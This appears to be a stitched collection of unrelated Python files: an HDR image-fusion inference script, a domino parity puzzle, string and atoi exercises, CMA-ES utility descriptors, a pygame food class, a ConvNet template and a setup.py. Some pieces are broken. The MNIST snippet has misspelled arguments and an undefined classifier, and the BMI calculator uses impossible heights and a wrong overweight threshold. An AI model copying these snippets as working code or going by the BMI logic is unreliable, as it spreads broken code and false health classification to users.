    warped_im1 = tf.reshape(warped_im1, tf.concat([image_shape,[3]], -1))
#    forward_occlusion, backward_occlusion = occlusion(flow[:batch_size], flow[batch_size:])
    refine_input = tf.concat([warped_im1, im21, flow[:batch_size]], axis=-1)
    output_map = refine_net(refine_input, name='dark_refine', reuse=reuse)
    output_im = output_map*im21+(1.-output_map)*warped_im1
    return output_im

def log_com(inp):
   return (tf.log(1+(5000.0*inp))/tf.log(1+5000.0))

def infer(source_dir, ref_label, hdr_channels, fusion_model, fusion_ckpt, refine_ckpt, flow_ckpt):
    im1 = tf.placeholder(tf.float32,shape=[1,None,None,3])
    im2 = tf.placeholder(tf.float32, shape=[1,None,None,3])
    im3 = tf.placeholder(tf.float32, shape=[1,None,None,3])
    im23 = tf.placeholder(tf.float32, shape=[1,None,None,3])
    im12 = tf.placeholder(tf.float32, shape=[1,None,None,3])
    im21 = tf.placeholder(tf.float32, shape=[1,None,None,3])
    im13 = tf.placeholder(tf.float32, shape=[1,None,None,3])
    image_dims = tf.placeholder(tf.int32, shape=[3])
    ev_bias = tf.placeholder(tf.float32, shape=[1])

    if ref_label==2:
        im1_ref = refine_dark(im1, im2, im12, im21, image_dims)
        im2_ref = im2
        im3_ref = refine_bright(im3, im2, im23, image_dims, reuse=True)
    if ref_label==1:
        im1_ref = im1
        im2_ref = refine_bright(im2, im1, im12, image_dims)
        im3_ref = refine_bright(im3, im1, im13, image_dims, reuse=True)

    if hdr_channels:
        im1_ref_hdr = tf_ldr_to_hdr(im1_ref, 2**(ev_bias*0))
        im2_ref_hdr = tf_ldr_to_hdr(im2_ref, 2**(ev_bias*1))
        im3_ref_hdr = tf_ldr_to_hdr(im3_ref, 2**(ev_bias*2))
        inp1 = tf.concat([im1_ref, im1_ref_hdr], axis=-1)
        inp2 = tf.concat([im2_ref, im2_ref_hdr], axis=-1)
        inp3 = tf.concat([im3_ref, im3_ref_hdr], axis=-1)
    else:
        inp1 = im1_ref
        inp2 = im2_ref
        inp3 = im3_ref

    if fusion_model == 'tied':
        final_hdr = deepfuse_triple_tied(inp1, inp2, inp3)
    elif fusion_model == 'untied':
        final_hdr = deepfuse_triple_untied(inp1, inp2, inp3)
    elif fusion_model == 'double_encoder':
        final_hdr = deepfuse_triple_2encoder(inp1, inp2, inp3)
    elif fusion_model == 'triple_encoder':
        final_hdr = deepfuse_triple_3encoder(inp1, inp2, inp3)
    else:
        print('Choose either of tied or untied model')
        return 0

    with tf.Session() as sess:
        sess.run(tf.global_variables_initializer())
        pwc_saver = tf.train.Saver([v for v in tf.all_variables() if "pwcnet" in v.name])
        pwc_saver.restore(sess, flow_ckpt)
        pwc_saver = tf.train.Saver([v for v in tf.all_variables() if "refine" in v.name])
        pwc_saver.restore(sess, refine_ckpt)
        saver = tf.train.Saver([v for v in tf.all_variables() if "DeepFuse"  in v.name])
        saver.restore(sess, fusion_ckpt)
        for path in os.listdir(source_dir):
            print('Generating HDR for ', path)
            img1 = np.expand_dims((cv2.imread(source_dir+path+'/1.tif', -1)[:,:,::-1].astype(np.float32))/65535.0, 0)
            img2 = np.expand_dims((cv2.imread(source_dir+path+'/2.tif', -1)[:,:,::-1].astype(np.float32))/65535.0, 0)
            img3= np.expand_dims((cv2.imread(source_dir+path+'/3.tif', -1)[:,:,::-1].astype(np.float32))/65535.0, 0)
            padding_x = 0
            padding_y = 0
            if (img1.shape[1])%64 != 0:
                padding_x = int(64*((img1.shape[1]//64)+1)-(img1.shape[1]))
            if (img1.shape[2])%64 != 0:
                padding_y = int(64*((img1.shape[2]//64)+1)-(img1.shape[2]))

            img1 = np.pad(img1, [[0,0],[padding_x//2, padding_x-(padding_x//2)], [padding_y//2, padding_y-(padding_y//2)], [0,0]], mode='reflect')
            img2 = np.pad(img2, [[0,0],[padding_x//2, padding_x-(padding_x//2)], [padding_y//2, padding_y-(padding_y//2)], [0,0]], mode='reflect')
            img3 = np.pad(img3, [[0,0],[padding_x//2, padding_x-(padding_x//2)], [padding_y//2, padding_y-(padding_y//2)], [0,0]], mode='reflect')

            with open(source_dir+path+'/exposure.txt') as f:
                lines = f.readlines()
                ev0 = float(lines[0][:-1])
                ev1 = float(lines[1][:-1])
                ev2 = float(lines[2][:-1])

            img12 = hdr_to_ldr(ldr_to_hdr(img1, 2**ev0), 2**ev1)
            img21 = hdr_to_ldr(ldr_to_hdr(img2, 2**ev1), 2**ev0)
            img23 = hdr_to_ldr(ldr_to_hdr(img2, 2**ev1), 2**ev2)
            img13 = hdr_to_ldr(ldr_to_hdr(img1, 2**ev0), 2**ev2)

            img1_ref, img2_ref, img3_ref, hdr_im = sess.run([im1_ref, im2_ref, im3_ref, final_hdr], feed_dict = {im1:img1, im2:img2,im3:img3,
                                                                                im12:img12, im21:img21, im23:img23,
                                                                                ev_bias: [ev1], image_dims:img1.shape[:-1]})
#            img1_ref = (img1_ref[0,padding_x//2:-1*(padding_x-(padding_x//2)),int(padding_y/2):-1*(padding_y-(padding_y//2)),:]*65535.0).astype(np.uint16)
#            img2_ref = (img2_ref[0,padding_x//2:-1*(padding_x-(padding_x//2)),int(padding_y/2):-1*(padding_y-(padding_y//2)),:]*65535.0).astype(np.uint16)
#            img3_ref = (img3_ref[0,padding_x//2:-1*(padding_x-(padding_x//2)),int(padding_y/2):-1*(padding_y-(padding_y//2)),:]*65535.0).astype(np.uint16)
            radiance_writer(source_dir+path+'/output.hdr', hdr_im[0,padding_x//2:-1*(padding_x-(padding_x//2)),int(padding_y/2):-1*(padding_y-(padding_y//2)),:])

if __name__ == '__main__':
    opts = parser.parse_args()
    os.environ["CUDA_VISIBLE_DEVICES"] = str(opts.gpu)
    infer(source_dir = opts.source_dir,
          ref_label = opts.ref_label,
          hdr_channels = opts.hdr_channels,
          fusion_ckpt = opts.fusion_ckpt,
          fusion_model = opts.fusion_model,
          refine_ckpt = opts.refine_ckpt,
          flow_ckpt = opts.flow_ckpt)


#domino
"""
condition 1:
    if sum of upper half is even and sum of lower half is even then we don't need to perform any action. That's why result is 0.

condition 2:
    if sum of upper half is odd and sum of lower half is odd and there is atleast one different parity means we can rotate one domino with different parity to make both upper half and lower half sums even. So the result will be 1.
    If there is no different parity while the sum of both upper half and lower half is odd, then the result will be -1.

condition 3:
    If some of upper half and lower half are different i.e one is even and other is odd or one is odd and other is even, then we cannot make both of them even because if we try to rotate dominos with different parity it will make even sum to odd and odd sum to even and we will come up with the initial situation and if we rotate the domino with the same parity then there will be no difference in situation.
"""

n = int(input())
matrix = []
for _ in range(n):
    matrix.append(list(map(int, input().split())))

uh_sum = 0
lh_sum = 0
diff_parity = False
for i, j in matrix:
    if (i+j)%2 == 1:
        diff_parity = True
    uh_sum += i
    lh_sum += j

if uh_sum%2 == 0 and lh_sum%2 == 0:
    print(0)
elif uh_sum%2 == 1 and lh_sum%2 == 1 and diff_parity:
    print(1)
else:
    print(-1)


#!/usr/bin/env python3.6
# -*- coding: utf-8 -*-
# @Author  : adair_chan
# @Email   : adairchan.dream@gmail.com
# @IDE     : PyCharm

if __name__ == "__main__":
    str1 = input("请输入一个字符串:")
    str2 = input("请输入一个子字符串: ")
    print(str1.count(str2))


import re
"""
def myAtoi(s):
    pat1 = r'[\s+]?[-]?[0-9]+'
    m = None
    num = None

    if re.search(r'^\.',s) or '-+' in s or '+-' in s or re.search('\s\-\s', s) or re.search('\s\+\s', s) or re.search(r'^[a-zA-Z]',s) or not(re.search(r'[\s+]?[0-9]*[\+]{2}', s)) or re.search(r'[\-]{2}', s):
        return 0

    if re.search(pat1,s):
        m =re.search(r'[-]?[0-9]+',s).group(0)

    print(m)
    if m != None and not(m.startswith('.')):
        if m.startswith('+') or m.startswith('-') or m[0].isdigit():
            num = int(m)
            if num < -2 ** 31:
                num = -2 ** 31
            elif num > (2**31) - 1:
                num = (2**31) - 1
    if m is None or m.startswith('.'):
        return 0

    return num
"""
def myAtoi(s):
    try:
        match = re.search('^[ \+\-]*\d+', s)
            # restrict the value to be between -2147483648 and 2147483647
        return min(max(-2147483648, int(match.group())), 2147483647)
    except:
        return 0

s = " 1"
print(myAtoi(s))


#Gradient Descent
from scipy.io import loadmat
import numpy as np
import matplotlib.pyplot as plt
mnist_raw=loadmat("C:/Users/000/Desktop/work1/mnist-original.mat")
mnist={
    "data":mnist_raw["data"].T,
    "target":mnist_raw["label"][0],
}
#x data y traget
x,y=mnist["data"],mnist["target"]
##train $ tes set
#class 0-9
x_train,x_test,y_train,y_test =x[:60000],x[60000:],y[:60000],y[60000:]

def displayImage(x):
    plt.imshow(x.resp(28,28),camp=plt.cm.binary,interpolation="nearest")
plt.show()

# y_train =[0,0,.......,9.....,9]
predct_number = 5500
y_train_5=(y_train==5)
y_test_5=(y_test==5)

sgd_clf = SGDClassifier()
sgd_clf.fit(x_train,y_train_5)

#print(x_train.shape)
#print(x_test.shape)
#print(y_train.shape)
#print(y_test.shape)


"""Implementation of various utilities used in ModularCMA-ES package."""

import warnings
import typing
from inspect import Signature, Parameter, getmodule
from functools import wraps
from time import time

import numpy as np

class Descriptor:
    """Data descriptor."""

    def __set_name__(self, owner, name):
        """Set name attribute."""
        self.name = name

    def __set__(self, instance, value):
        """Set value on instance."""
        instance.__dict__[self.name] = value

    def __delete__(self, instance):
        """Delete attribute from the instance __dict__."""
        del instance.__dict__[self.name]

class InstanceOf(Descriptor):
    """Data descriptor checks for correct types."""

    def __init__(self, dtype):
        """Set dtype."""
        self.dtype = dtype

    def __set__(self, instance, value):
        """Set the value of instance to value, checks type of argument.

        Raises
        ------
        TypeError
            If type of the argument does not match self.dtype

        """
        if type(value) != type(None):

            if (
                type(value) != self.dtype
                and not (
                    isinstance(value, np.generic) and type(value.item()) == self.dtype
                )
                and str(self.dtype)[1:] != value.__class__.__name__
            ):
                raise TypeError(
                    "{} should be {} got type {}: {}".format(
                        self.name, self.dtype, type(value), str(value)[:50]
                    )
                )
            if hasattr(value, "__copy__"):
                value = value.copy()
        super().__set__(instance, value)

class AnyOf(Descriptor):
    """Descriptor, checks of value is Any of a specified sequence of options."""

    def __init__(self, options=None):
        """Set options."""
        self.options = options

    def __set__(self, instance, value):
        """Set the value of instance to value, checks value of argument to match self.options.

        Raises
        ------
        TypeError
            If type of the argument does not match self.dtype

        """
        if value not in self.options:
            raise ValueError(
                "{} should be any of [{}]. Got: {}".format(
                    self.name, self.options, value)
            )
        super().__set__(instance, value)

class AnnotatedStructMeta(type):
    """Metaclass for class for AnnotatedStruct.

    Wraps all parameters defined in the class body with
    __annotations__ into a signature. It additionally wraps each
    parameter into a descriptor using __annotations__,
    allowing for type checking.
    Currently, only two types of descriptors are implementated,
    InstanceOf and typing.AnyOf, the first implements simple type validation,
    the latter implements validation though the use of sequence of
    allowed values.
    """

    def __new__(cls: typing.Any, name: str, bases: tuple, attrs: dict) -> typing.Any:
        """Control instance creation of classes that have AnnotatedStructMeta as metaclass.

        All cls attributes that are defined in __annotations__ are wrapped
        into either an typing.AnyOf or an InstanceOf descriptor, depending on
        the type of the annotation. If the annotation is a sequence, the first
        element is used as a default value.

        Parameters
        ----------
        cls: typing.Any
            The empty body of the class to be instantiated
        name: str
            The name of the cls
        bases: dict
            The base classes of the cls
        attrs: dict
            The attributes of the cls

        Returns
        -------
        A new cls object

        """
        parameters = []
        for key, annotation in attrs.get("__annotations__", {}).items():
            default_value = attrs.get(key, Parameter.empty)

            if isinstance(annotation, (list, tuple)):
                attrs[key] = AnyOf(annotation)
            else:
                if (
                    not type(annotation) == type
                    and getmodule(type(annotation)) != typing
                ):
                    raise TypeError(
                        f"Detected wrong format for annotations of AnnotatedStruct.\n\t"
                        f"Format should be <name>: <type> = <default_value>\n\t"
                        f"Got: {name}: {annotation} = {default_value}"
                    )
                attrs[key] = InstanceOf(annotation)
            parameters.append(
                Parameter(
                    name=key,
                    default=default_value,
                    kind=Parameter.POSITIONAL_OR_KEYWORD,
                )
            )

        clsobj = super().__new__(cls, name, bases, attrs)
        setattr(clsobj, "__signature__", Signature(parameters=parameters))
        return clsobj

class AnnotatedStruct(metaclass=AnnotatedStructMeta):
    """Custom class for defining structs.

    Automatically sets parameters defined in the signature.
    AnnotatedStruct objects, and children thereof, require
    the following structure:
        class Foo(AnnotatedStruct):
            variable_wo_default : type
            variable_w_default  : type = value

    The metaclass will automatically assign a decriptor object
    to every variable, allowing for type checking.
    The init function will be dynamically generated, and user specified values
    in the *args **kwargs, will override the defaults.
    The *args will follow the order as defined in the class body:
        i.e. (variable_wo_default, variable_w_default,)

    Attributes
    ----------
    __signature__: Signature
        The calling signature, instantiated by the metaclass
    __bound__ : Signature
        The bound signature, bound to the *args and **kwargs

    """

    def __init__(self, *args, **kwargs) -> None:
        """Bind *args and **kwargs to a signature instantiated by the metaclass."""
        self.__bound__ = self.__signature__.bind(*args, **kwargs)
        self.__bound__.apply_defaults()
        for name, value in self.__bound__.arguments.items():
            setattr(self, name, value)

    def __repr__(self) -> str:
        """Representation for a AnnotatedStruct object."""
        return "<{}: ({})>".format(
            self.__class__.__qualname__,
            ", ".join(
                "{}={}".format(name, getattr(self, name))
                for name, value in self.__bound__.arguments.items()
            ),
        )

    def set_default(self, name: str, default_value: typing.Any) -> None:
        """Helper method to set default parameters."""
        current = getattr(self, name)
        if type(current) == type(None):
            setattr(self, name, default_value)

def timeit(func):
    """Decorator function for timing the excecution of a function.

    Parameters
    ----------
    func: typing.Callable
        The function to be timed

    Returns
    -------
    typing.Callable
        a wrapped function

    """
    @wraps(func)
    def inner(*args, **kwargs):
        start = time()
        res = func(*args, **kwargs)
        print("Time elapsed", time() - start)
        return res

    return inner

def ert(evals, budget):
    """Computed the expected running time of a list of evaluations.

    Parameters
    ----------
    evals: list
        a list of running times (number of evaluations)
    budget: int
        the maximum number of evaluations

    Returns
    -------
    float
        The expected running time

    float
        The standard deviation of the expected running time
    int
        The number of successful runs

    """
    try:
        with warnings.catch_warnings():
            warnings.simplefilter("ignore")
            evals = np.array(evals)
            n_succ = (evals < budget).sum()
            _ert = float(evals.sum()) / int(n_succ)
        return _ert, np.std(evals), n_succ
    except ZeroDivisionError:
        return float("inf"), np.nan, 0


# BMI calculator
person1 = "Fabisch"
height_m1 = 2.5
weight_kg1 = 67

person2 = "Fabisch's sister"
height_m2 = 2
weight_kg2 = 70

person3 = "Fabisch's brother"
height_m3 = 2.3
weight_kg3 = 63

def bmi_calculator(name, height_m, weight_kg):
    bmi = weight_kg / (height_m ** 2)
    print("bmi: ")
    print(bmi)
    if bmi < 13:
        return name + ' is not overweight'
    else:
        return name + ' is overweight'

print(bmi_calculator(person1, height_m1, weight_kg1))
print(bmi_calculator(person2, height_m2, weight_kg2))
print(bmi_calculator(person3, height_m3, weight_kg3))


import pygame
from numpy import random as rnd

class Mamam():

  # inisialisasi atribut pada class Mamam
  def __init__(self, arena, color=(255, 0, 0), name="mamam"):
    self.name = name
    food_pos_x = rnd.randint(0, arena.get_column_sum() - 1) # mamam position
    food_pos_y = rnd.randint(0, arena.get_row_sum() - 1) # mamam position
    self.pos = (food_pos_x, food_pos_y)
    self.color = color
    self.surface = arena.get_surface()
    self.width = arena.get_column_distance()
    self.height = arena.get_row_distance()
    self.arena = arena
    arena.assign_member(self)

  # getter untuk posisi
  def get_pos(self):
    return self.pos

  # method untuk mengubah posisi makanan
  def change_pos(self):
    food_pos_x = rnd.randint(0, self.arena.get_column_sum() - 1)
    food_pos_y = rnd.randint(0, self.arena.get_row_sum() - 1)
    self.pos = (food_pos_x, food_pos_y)

  # method untuk merender objek makanan
  def draw(self):
    start_x = self.width * self.pos[0]
    start_y = self.height * self.pos[1]
    pygame.draw.rect(self.surface, self.color, (start_x, start_y, self.width, self.height))

  # memberikan representasi string
  def __repr__(self):
    return self.name


import torch
import torch.nn as nn
from typing import List
from timm.models.registry import register_model

class YourConvNet(nn.Module):
    """
    This is a template for your custom ConvNet.
    It is required to implement the following three functions: `get_downsample_ratio`, `get_feature_map_channels`, `forward`.
    You can refer to the implementations in `pretrain\models\resnet.py` for an example.
    """

    def get_downsample_ratio(self) -> int:
        """
        This func would ONLY be used in `SparseEncoder's __init__` (see `pretrain/encoder.py`).

        :return: the TOTAL downsample ratio of the ConvNet.
        E.g., for a ResNet-50, this should return 32.
        """
        raise NotImplementedError

    def get_feature_map_channels(self) -> List[int]:
        """
        This func would ONLY be used in `SparseEncoder's __init__` (see `pretrain/encoder.py`).

        :return: a list of the number of channels of each feature map.
        E.g., for a ResNet-50, this should return [256, 512, 1024, 2048].
        """
        raise NotImplementedError

    def forward(self, inp_bchw: torch.Tensor, hierarchical=False):
        """
        The forward with `hierarchical=True` would ONLY be used in `SparseEncoder.forward` (see `pretrain/encoder.py`).

        :param inp_bchw: input image tensor, shape: (batch_size, channels, height, width).
        :param hierarchical: return the logits (not hierarchical), or the feature maps (hierarchical).
        :return:
            - hierarchical == False: return the logits of the classification task, shape: (batch_size, num_classes).
            - hierarchical == True: return a list of all feature maps, which should have the same length as the return value of `get_feature_map_channels`.
              E.g., for a ResNet-50, it should return a list [1st_feat_map, 2nd_feat_map, 3rd_feat_map, 4th_feat_map].
                    for an input size of 224, the shapes are [(B, 256, 56, 56), (B, 512, 28, 28), (B, 1024, 14, 14), (B, 2048, 7, 7)]
        """
        raise NotImplementedError

@register_model
def your_convnet_small(pretrained=False, **kwargs):
    raise NotImplementedError
    return YourConvNet(**kwargs)

@torch.no_grad()
def convnet_test():
    from timm.models import create_model
    cnn = create_model('your_convnet_small')
    print('get_downsample_ratio:', cnn.get_downsample_ratio())
    print('get_feature_map_channels:', cnn.get_feature_map_channels())

    downsample_ratio = cnn.get_downsample_ratio()
    feature_map_channels = cnn.get_feature_map_channels()

    # check the forward function
    B, C, H, W = 4, 3, 224, 224
    inp = torch.rand(B, C, H, W)
    feats = cnn(inp, hierarchical=True)
    assert isinstance(feats, list)
    assert len(feats) == len(feature_map_channels)
    print([tuple(t.shape) for t in feats])

    # check the downsample ratio
    feats = cnn(inp, hierarchical=True)
    assert feats[-1].shape[-2] == H // downsample_ratio
    assert feats[-1].shape[-1] == W // downsample_ratio

    # check the channel number
    for feat, ch in zip(feats, feature_map_channels):
        assert feat.ndim == 4
        assert feat.shape[1] == ch

if __name__ == '__main__':
    convnet_test()


__author__ = 'mpetyx'

from distutils.core import setup

setup(name="pyapi",
      description="pyapi Libray",
      version="1.4",
      author="Michael Petychakis",
      author_email="mpetyx@epu.ntua.gr",
      maintainer="Michael Petychakis",
      maintainer_email="mpetyx@epu.ntua.gr",
      license='MIT',
      packages=['pyapi', 'pyapi.serialisers', 'pyapi.parsers', 'pyapi.libraries', 'pyapi.libraries.swaggerpy',
                'pyapi.libraries.pyraml_parser_master', 'pyapi.libraries.pyraml_parser_master.pyraml'],
      requires=['rdflib', 'pyyaml'],
      )